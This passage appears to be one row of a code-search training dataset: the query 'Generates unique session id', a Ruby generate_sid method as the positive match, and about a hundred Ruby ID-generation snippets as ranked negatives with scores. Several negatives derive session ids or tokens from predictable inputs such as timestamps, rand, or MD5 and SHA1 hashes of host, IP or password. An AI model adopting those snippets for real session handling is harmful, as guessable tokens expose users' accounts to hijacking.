"0.54814726",
"0.5470647",
"0.54356354",
"0.5433875",
"0.5429959",
"0.54203653",
"0.5414039",
"0.54126805",
"0.54073924",
"0.5401494",
"0.53946507",
"0.5392067",
"0.5387234",
"0.53816724",
"0.53805745",
"0.53719676",
"0.5356081",
"0.53551364",
"0.5354226",
"0.5352265",
"0.5347268",
"0.53416634",
"0.5339461",
"0.5336357",
"0.5335117",
"0.53289664",
"0.5326267",
"0.5317478",
"0.5306306",
"0.5305107",
"0.52980167",
"0.5293543",
"0.52928764",
"0.5280718",
"0.5278082",
"0.5278082",
"0.5278082",
"0.52754384",
"0.5268255",
"0.5240112",
"0.52286565",
"0.5225048",
"0.52221173",
"0.5221088",
"0.5215242",
"0.5214144",
"0.5211015",
"0.52056414",
"0.5204391",
"0.51972127",
"0.5194312",
"0.5187578",
"0.5187578",
"0.5185408",
"0.5183838",
"0.5180405",
"0.51770604",
"0.5174356",
"0.51717937",
"0.516994",
"0.5162966",
"0.5162724",
"0.51575404",
"0.515143",
"0.5151095",
"0.51481205"
] |
0.0
|
-1
|
Generates unique session id
|
def generate_sid
loop do
sid = super
break sid unless sessions.find_one( { :_id => sid } )
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_new_id\n require 'securerandom'\n begin\n # by OpenSSL, or system provided entropy pool\n session_id = SecureRandom.hex(16)\n rescue NotImplementedError\n # never happens on modern systems\n require 'digest'\n d = Digest('SHA512').new\n now = Time::now\n d.update(now.to_s)\n d.update(String(now.usec))\n d.update(String(rand(0)))\n d.update(String($$))\n d.update('foobar')\n session_id = d.hexdigest[0, 32]\n end\n session_id\n end",
"def session_guid\n UUIDTools::UUID.random_create.to_s\n end",
"def generate_id\n synchronize do\n n = (get_random() % @@MOD_LEN) + @@MOD_LEN\n time_val = Time.now.to_i\n t = ((time_val / 2) % @@MAX_TICKS) + @@MAX_TICKS\n if time_val != @@last_time_val\n @@session_count = 0\n @@last_time_val = time_val\n end\n @@session_count += 1\n \"#{n.to_s(36)[1..-1]}#{t.to_s(36)[1..-1]}#{@@session_count.to_s(36)}\"\n end\n end",
"def session_generate_id(meta)\n return Digest::MD5.hexdigest(\"#{Time.now.to_f}_#{meta[\"HTTP_HOST\"]}_#{self.ip(:meta => meta)}_#{meta[\"HTTP_USER_AGENT\"]}\")\n end",
"def unique_id\n # Consider using SecureRandom.hex here, and benchmark which one is better\n (Time.now.to_f * 1000).to_i.to_s(36) + rand(1_000_000).to_s(36)\n end",
"def create_new_id\n @new_session = true\n self.class.generate_unique_id\n end",
"def gen_id\n SecureRandom.hex(32)\n end",
"def cracker_session_id\n @session_id ||= ::Rex::Text.rand_text_alphanumeric(8)\n end",
"def generate_id\n SecureRandom.hex(8)\n end",
"def unique_id\n '%8x%s@%s' % [\n Time.now.to_i,\n Digest::SHA1.hexdigest(\n '%.8f%8x' % [ Time.now.to_f, rand(1 << 32) ]\n )[0, 32],\n Socket.gethostname\n ]\n end",
"def gen_uid\n \"#{rand(100000)}-#{Time.now.to_i}-#{rand(100000)}\"\n end",
"def generate_id\n SecureRandom.urlsafe_base64 21\n end",
"def generate_unique_id\n \"1.3.6.1.4.1.21367.2009.5.14.#{id}.#{Time.now.to_i}\"\n end",
"def session_id\n @session_id ||= (bytes = [SecureRandom.uuid.gsub(DASH_REGEX, '')].pack(UUID_PACK)\n BSON::Document.new(id: BSON::Binary.new(bytes, :uuid)))\n end",
"def id\n @id ||= \"%x-%s\" % [ Time.now.to_i, SecureRandom::hex(2) ]\n end",
"def generate_id\n Util::UUID.generate\n end",
"def session_id\n @session_id ||= \"#{chip_api.redis_session_prefix}_#{token.claims_token.api_id}\"\n end",
"def new_id\n SecureRandom.uuid\n end",
"def generate_new_id\n Util::UUID.generate\n end",
"def generate_id\n now = Time.now\n parts = [now.to_i, now.usec, $$, rand(16**8)]\n parts.map {|i| i.to_s(16)}.join('-')\n end",
"def uniqid\n SecureRandom.hex(32)\n end",
"def uniqid\n SecureRandom.hex(32)\n end",
"def unique_identifier\n @u_id ||= \"T1\"\n @u_id = @u_id.succ\n end",
"def generate_temporary_id\n (Time.now.to_f*1000).to_i.to_s\n end",
"def unique_id\n $unique_id_increment = ($unique_id_increment || 0) + 1\n return (Time.new.to_f * 1000).to_i.to_s + $unique_id_increment.to_s\nend",
"def unique_identifier\n Digest::SHA1.hexdigest(\"#{login_name}:#{password}\")\n end",
"def session_id; end",
"def session_id; end",
"def session_id; end",
"def generate_unique_name\n SecureRandom.uuid\n end",
"def unique_id\n id || @generated_dom_id || (@generated_dom_id = Time.now.to_f.to_s.gsub('.', '_'))\n end",
"def generate_new_id\n UUIDTools::UUID.random_create.to_s\n end",
"def identifier\n SecureRandom.hex(16)\n end",
"def generate_uid(io)\n SecureRandom.hex(30)\n end",
"def create_unique_id\n\t\tself.unique_id = loop do\n\t\t\trandom_token = SecureRandom.urlsafe_base64\n\t\t\tbreak random_token unless User.exists?(unique_id: random_token)\n\t\tend\n\tend",
"def generate_id\n @mutex.synchronize { @current_id += 1 }\n end",
"def id\n @id ||= scgi.session_id\n end",
"def random_id\n \"#{('a'..'z').to_a.sample}-#{SecureRandom.alphanumeric(6)}\"\n end",
"def set_session_uuid\n if session[:session_uuid].blank?\n session[:session_uuid] = SecureRandom.uuid\n end\n end",
"def session_id\n @session.nil? ? '' : @session.session_id\n end",
"def generate_machine_id()\n \n end",
"def random_instance_id # TODO: don't count on this for security; migrate to a proper instance id, in a cookie, at least twice as long, and with verified randomness\n \"%08x\" % rand( 1 << 32 ) + \"%08x\" % rand( 1 << 32 ) # rand has 52 bits of randomness; call twice to get 64 bits\n end",
"def make_id\n Time.now.to_f.to_s.ljust(16, '0') + rand(10).to_s\n end",
"def get_random_identifier\n SecureRandom.hex\n end",
"def generate_id \n end",
"def unique_id\n generator = Sass::Script::Functions.random_number_generator\n Thread.current[:sass_last_unique_id] ||= generator.rand(36**8)\n # avoid the temptation of trying to guess the next unique value.\n value = (Thread.current[:sass_last_unique_id] += (generator.rand(10) + 1))\n # the u makes this a legal identifier if it would otherwise start with a number.\n identifier(\"u\" + value.to_s(36).rjust(8, '0'))\n end",
"def unique_identifier\n Digest::MD5.hexdigest(@name.to_s)[0..9]\n end",
"def generate_id\n id = @id\n @id += 1\n id\n end",
"def generate_node_id\n # a little bit more creative\n if @registry.respond_to? :unique\n @registry.unique\n else\n digest = Digest::SHA512.new\n seed = Socket.gethostname + rand.to_s + Time.now.to_s + SecureRandom.hex\n digest.update(seed).to_s\n end\n end",
"def request_id\n SecureRandom.hex(17)\n end",
"def request_id\n SecureRandom.hex(17)\n end",
"def get_next_uuid\n rand(8**32).to_s(36)\n end",
"def setup_req_id_and_session_id\n random_string = \"#{Time.now.to_i}#{Kernel.rand(10000)}\"\n self.req_id ||= Utils::Crypth.uniq_token(\"#{random_string}#{(0..2000).to_a.sample}\") \n self.session_id ||= Utils::Crypth.uniq_token(\"#{random_string}#{(0..2000).to_a.sample}\") \n end",
"def generate_uid\n [Time.now.strftime('%Y%m%d%H%M%S'), \"%05d\" % rand(10000)].join\n end",
"def generate_record_id\n @client_id + '-' + SecureRandom.uuid\n end",
"def random_uid\n SecureRandom.hex 5\n end",
"def generate_sid\n \"%0#{@default_options[:sidbits] / 4}x\" %\n rand(2**@default_options[:sidbits] - 1)\n end",
"def generate_anonymous_id\n self.anonymous_id = SecureRandom.hex(4)\n end",
"def create_uuid\n SecureRandom.uuid\n end",
"def generate_id()\n return nil unless @name and @represents\n @id ||= Digest::SHA1.hexdigest(@name + @represents)[0..5].force_encoding('utf-8').to_s\n end",
"def unique_id\n id = ::SecureRandom.uuid\n\n while ::Voltron::Temp.exists?(uuid: id) do\n id = ::SecureRandom.uuid\n end\n\n id\n end",
"def basic_generate_id(str); end",
"def extract_request_id(env)\n SecureRandom.uuid\n end",
"def generate_id\n id_generator.call\n end",
"def get_uuid\n rand_str = SecureRandom.hex\n timestamp = Time.now.to_i.to_s\n\n rand_str + timestamp\n end",
"def generate_token\n\t\tUUIDTools::UUID.timestamp_create.to_s\n\tend",
"def get_request_id()\n\t\t\t@random_instance ||= Random.new\n\t\t\tBase64.urlsafe_encode64(@random_instance.bytes(12))\n\t\tend",
"def unique_identifier\n\t\tDigest::SHA1.hexdigest(\"#{email}:#{password}\")\n\tend",
"def id_generator\n @id_generator ||= proc { SecureRandom.uuid }\n end",
"def session_id\n @session_id ||= initiate_xmlrpc_session\n end",
"def request_id\n SecureRandom.hex(5)\n end",
"def unique_identifier\n Digest::SHA1.hexdigest(\"#{screen_name}:#{password}\")\n end",
"def unique_identifier\n Digest::SHA1.hexdigest(\"#{screen_name}:#{password}\")\n end",
"def unique_identifier\n Digest::SHA1.hexdigest(\"#{email}:#{password}\")\n end",
"def generate_token\n UUIDTools::UUID.random_create.to_s\n end",
"def regenerate \n \t @session_id = Merb::SessionMixin::rand_uuid \n \t self.needs_new_cookie=true \n \tend",
"def generate_session_token!\n update_attribute(:session_token, self.class.generate_token(:session_token)) unless session_token\n session_token\n end",
"def generate_identity\n self.uid ||= OpenSSL::Random.random_bytes(16).unpack('H*').first\n self.secret ||= OpenSSL::Random.random_bytes(32).unpack('H*').first\n true\n end",
"def unique_id\n object_id.abs.to_s(16)\n end",
"def unique_identifier\n Digest::SHA1.hexdigest (\"#{self.screen_name}:#{self.password}\")\n end",
"def generate_unique_id\n Digest::SHA256.hexdigest unique_id_elements.join\n end",
"def generate_unique_key\n\n # @TODO:need to update the algo. Right now it's very simple algo\n length = self.url.length\n rand(36**length).to_s(36)\n end",
"def id_gen(source, exclude)\n\tid = Digest::SHA1.hexdigest(\"#{ENCODING_PHRASE}-#{source}-#{exclude}-#{@client_id}\")\n\treturn id\nend",
"def generate_id(str); end",
"def next_id!\n\t\t\t# Using sequential numbers for the query ID is generally a bad thing because over UDP they can be spoofed. 16-bits isn't hard to guess either, but over UDP we also use a random port, so this makes effectively 32-bits of entropy to guess per request.\n\t\t\tSecureRandom.random_number(2**16)\n\t\tend",
"def get_unique_area_id\n session[:request_counter] = 0 if session[:request_counter] > 10000 # Sicherstellen, das keine Kumulation ohne Ende\n \"a#{session[:request_counter]}\"\n end",
"def build_tracking_id\n self.tracking_id ||= SecureRandom.base64(6)\n end",
"def session_id_key\n @session_id_key\n end",
"def generateSession\n sessionId = SecureRandom.base58(24)\n @test.update(session_id: sessionId)\n\n # set expiry date to 15 minutes from now\n @test.update(session_expired_at: Time.now + 15*60)\n\n render json: sessionId\n end",
"def current_user_unique_id\n return current_user.id unless current_user.nil?\n request.session_options[:id]\n end",
"def generate_client_id\n generated_id = \"id#@client_ids_generated\"\n @client_ids_generated = @client_ids_generated + 1\n\n return generated_id\n end",
"def generate_uuid\n UUIDTools::UUID.random_create.to_s\n end",
"def generate_secure_id(overwrite = false)\n token = nil\n loop do\n token = SecureRandom.urlsafe_base64\n break unless Algorithm.exists?(secure_id: token)\n end\n self.secure_id = token if (self.secure_id == nil || overwrite)\n end",
"def generate_id\n # Max value is 9223372036854775807 (signed long in Java)\n rand(ID_RANGE)\n end",
"def session_id\n request.session_options[:id]\n end",
"def generate_message_id\n @@next_message_id += 1\n end",
"def assign_identifier\n self.id ||= SecureRandom.uuid\n end",
"def generate_page_id\n require 'securerandom'\n begin\n return SecureRandom.hex(16)\n rescue NotImplementedError\n s2logger.warn(self) {\"SecureRandom unavailable.\"}\n end\n return nil\n end",
"def generate_uuid\n return Digest::MD5.hexdigest \"#{SecureRandom.hex(10)}-#{DateTime.now.to_s}\"\nend",
"def generate_uuid\n\t\t\t\tSecureRandom.hex(5)\n\t\t\tend"
] |
[
"0.85316926",
"0.83458763",
"0.8298293",
"0.81053936",
"0.8020402",
"0.79397106",
"0.78987354",
"0.7844322",
"0.7765848",
"0.7710106",
"0.7692605",
"0.76704866",
"0.7627447",
"0.7610668",
"0.76006633",
"0.7568669",
"0.7537012",
"0.74737036",
"0.74585634",
"0.7446753",
"0.743843",
"0.743843",
"0.7433254",
"0.73619616",
"0.73185295",
"0.7309214",
"0.7290517",
"0.7290517",
"0.7290517",
"0.7281934",
"0.72775865",
"0.7247155",
"0.724128",
"0.72365",
"0.7211795",
"0.7200578",
"0.7186331",
"0.71834457",
"0.7179502",
"0.7177516",
"0.71468043",
"0.7140873",
"0.71372867",
"0.70928603",
"0.7081097",
"0.70463645",
"0.70407313",
"0.70257276",
"0.7018899",
"0.7000402",
"0.7000402",
"0.69971645",
"0.6974031",
"0.697283",
"0.6966026",
"0.6962433",
"0.6960156",
"0.6952732",
"0.6948066",
"0.6942978",
"0.69388175",
"0.693059",
"0.69200397",
"0.6915166",
"0.69120336",
"0.69113624",
"0.69028854",
"0.68930435",
"0.68910134",
"0.6877469",
"0.6867526",
"0.6863226",
"0.6863226",
"0.68500024",
"0.68499285",
"0.6830879",
"0.6822961",
"0.68212265",
"0.681338",
"0.681198",
"0.68075585",
"0.67998755",
"0.67978084",
"0.6788605",
"0.6770331",
"0.6770041",
"0.6766417",
"0.6762529",
"0.67464584",
"0.6745223",
"0.67414975",
"0.67389876",
"0.67329043",
"0.67184675",
"0.6711381",
"0.67085356",
"0.6702762",
"0.6696706",
"0.6693421",
"0.6691358"
] |
0.68986255
|
67
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.